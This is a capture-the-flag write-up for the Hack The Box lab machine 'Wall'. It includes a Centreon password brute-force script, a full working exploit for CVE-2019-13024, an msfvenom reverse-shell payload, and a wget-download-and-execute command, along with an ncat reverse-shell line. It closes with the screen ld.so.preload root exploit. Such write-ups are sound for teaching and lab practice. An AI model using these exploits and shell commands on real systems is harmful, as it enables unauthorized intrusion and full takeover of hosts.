Hack The Box: Wall


Jump Ahead: EnumGetting a Rev. ShellRootResourcesShoutout

TL;DR;

To solve this machine we enumerate open ports – finding ports 80 and 22 open. Enumerating the directories on the webserver, we find /monitoring/. Fuzzing the request HTTP verb for /monitoring/ tells us of /centreon. Going to /centreon, we are presented with a login interface. Using the Centreon API, we are able to brute-force the password (where the username is the default). Using the credentials, we exploit an authenticated Remote Code Execution (RCE) vulnerability in Centreon to upload and get a reverse shell as www-data. Doing basic enumeration, we see there is a vulnerable version of screen that has the suid bit set. Exploiting this application, we get a shell as root and can read user.txt and root.txt.

Enumeration

Like all machines, we begin by enumerating services using nmap. Doing so, we see that only port 80 and port 22 are open.

$ nmap -p- --min-rate 3000 ll 10.10.10.157
[...]
$ nmap -p22,80 -A -oA scans/tcpAll 10.10.10.157

# Nmap 7.80 scan initiated Sat Sep 28 13:45:05 2019 as: nmap -p22,80 -A -oA scans/tcpAll 10.10.10.157
Nmap scan report for 10.10.10.157
Host is up (0.055s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
|   256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_  256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.18 (94%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.10 - 4.11 (93%), Oracle VM Server 3.4.2 (Linux 4.1) (93%), Linux 3.12 (93%), Linux 3.13 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   56.67 ms 10.10.14.1
2   56.80 ms 10.10.10.157

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 28 13:45:18 2019 -- 1 IP address (1 host up) scanned in 12.82 seconds

Next, we use gobuster to enumerate common files and directories that are present on the webserver.

$ gobuster dir -u 10.10.10.157 -w /opt/wordlists/seclists/Discovery/Web-Content/common.txt -o scans/gobuster80-common.txt

/.htaccess (Status: 403)
/.hta (Status: 403)
/.htpasswd (Status: 403)
/index.html (Status: 200)
/monitoring (Status: 401)
/server-status (Status: 403)

Getting a Reverse Shell

Going to http://10.10.10.157/monitoring/, we are presented with an HTTP basic authentication form.

Fuzzing the HTTP request verb for this directory, we are told that the /centreon directory exists. Going to the directory, we are presented with a login form.

Doing some research, we see the default account name for the web UI is admin however the default password does not work, so we will have to bruteforce it. Using the Centreon API, we are able to bruteforce the credentials.

#!/bin/bash
# brutes Centreon login pw

USER="admin"
# try each password
for i in $(cat passwords.txt); do
	printf "[-] Trying \"$i\"\n"

	# attempt password
	RESULT=$(curl -sX POST http://10.10.10.157/centreon/api/index.php?action=authenticate --data "username=$USER&password=$i")

	# did it work?
	if [[ "$RESULT" != *"Bad credentials"* ]];
	then
		printf "[+] Success! Password is: $i\n"
		exit 1
	fi
done

After logging into the web UI, we quickly see that we only have read-only permission, as every time we try to submit data, it results in an error. With additional research, we find an RCE exploit (discovered by the machine creator) that we can use to get a reverse shell. (The exploit script was repurposed to run any command.) To get my reverse shell, I generated my payload with msfvenom, uploaded it to the box using wget, and ran it on the box.

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.17 LPORT=9000 -f elf -o shell

$ ./centreon-RCE.py http://10.10.10.157/centreon/ admin <password> 'wget http://10.10.14.17/shell -O /tmp/shell;chmod +x /tmp/shell;/tmp/shell'

Below is the modified exploit code:

#!/usr/bin/env python3

'''
# Exploit Title: Centreon v19.04 authenticated Remote Code Execution
# Date: 28/06/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-13024
# Vendor Homepage: https://www.centreon.com/
# Software link: https://download.centreon.com
# Version: v19.04
# Tested on: CentOS 7.6 / PHP 5.4.16
'''

import requests
import sys
import warnings
from bs4 import BeautifulSoup

# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 5:
    print(len(sys.argv))
    print("[~] Usage : ./centreon-exploit.py url username password payload")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
payload = sys.argv[4]

request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, 'lxml')
token = soup.findAll('input')[3].get("value")
#print(soup.find('input', {"name":"centreon_token"}))

#'''
login_info = {
    "useralias": username,
    "password": password,
    "submitLogin": "Connect",
    "centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
    print("[+] Logged In Sucessfully")
    print("[+] Retrieving Poller token")

    poller_configuration_page = url + "/main.get.php?p=60901"
    get_poller_token = request.get(poller_configuration_page)
    poller_html = get_poller_token.text
    poller_soup = BeautifulSoup(poller_html, 'lxml')
    poller_token = poller_soup.findAll('input')[24].get("value")
    print("[+] Poller token is : {0}".format(poller_token))

    payload_info = {
        "name": "Central",
        "ns_ip_address": "127.0.0.1",
        # this value should be 1 always
        "localhost[localhost]": "1",
        "is_default[is_default]": "0",
        "remote_id": "",
        "ssh_port": "22",
        "init_script": "centengine",
        # this value contains the payload , you can change it as you want
        #"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
        #"nagios_bin": "ping 10.10.14.22 -c 10",#.format(ip, port),
        "nagios_bin": payload.replace(' ','${IFS}'),
        "nagiostats_bin": "/usr/sbin/centenginestats",
        "nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
        "centreonbroker_cfg_path": "/etc/centreon-broker",
        "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
        "centreonbroker_logs_path": "",
        "centreonconnector_path": "/usr/lib64/centreon-connector",
        "init_script_centreontrapd": "centreontrapd",
        "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
        "ns_activate[ns_activate]": "1",
        "submitC": "Save",
        "id": "1",
        "o": "c",
        "centreon_token": poller_token,


    }

    proxies = {"http":"127.0.0.1:8080","https":"127.0.0.1:8080"}
    send_payload = request.post(poller_configuration_page, payload_info, proxies=proxies)
    if ( send_payload.status_code == 403 ):
        print("[-] Failed with status code 403")
        sys.exit()
    print("[+] Injecting Done, triggering the payload")
    print("[+] Check your netcat listener !")
    print("[+] Status code was: " + str(send_payload.status_code))
    generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
    xml_page_data = {
        "poller": "1",
        "debug": "true",
        "generate": "true",
    }
    request.post(generate_xml_page, xml_page_data)

else:
    print("[-] Wrong credentials")
    exit()

Getting Root

We get our reverse shell as use www-data, so the first thing we need to do is enumerate information about the machine. For this, I like to use LinEnum. Running this script, we see a few oddities about a binary. First the binary’s name includes the version, it’s located in /bin, and the SUID bit is set for it.

Normally when we see screen installed on a machine, the name does not include the version, and the SUID bit is not set. Researching this version of screen, we see there is an exploit that abuses ld.so.preload overwriting to get root. Exploiting this vulnerability, I am able to gain access to /home/shelby/user.txt and /root/root.txt. *NOTE* I had issues compiling on the remote machine, so all compilation was done locally, then uploaded to the /tmp directory of the machine.

#on the machine

$ cd /etc
$ umask 000
$ screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" #newline needed
$ screen -ls
$ /tmp/rootshell

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!

Resources

Shoutout

badrabb1t for having the idea to repurpose the RCE exploit script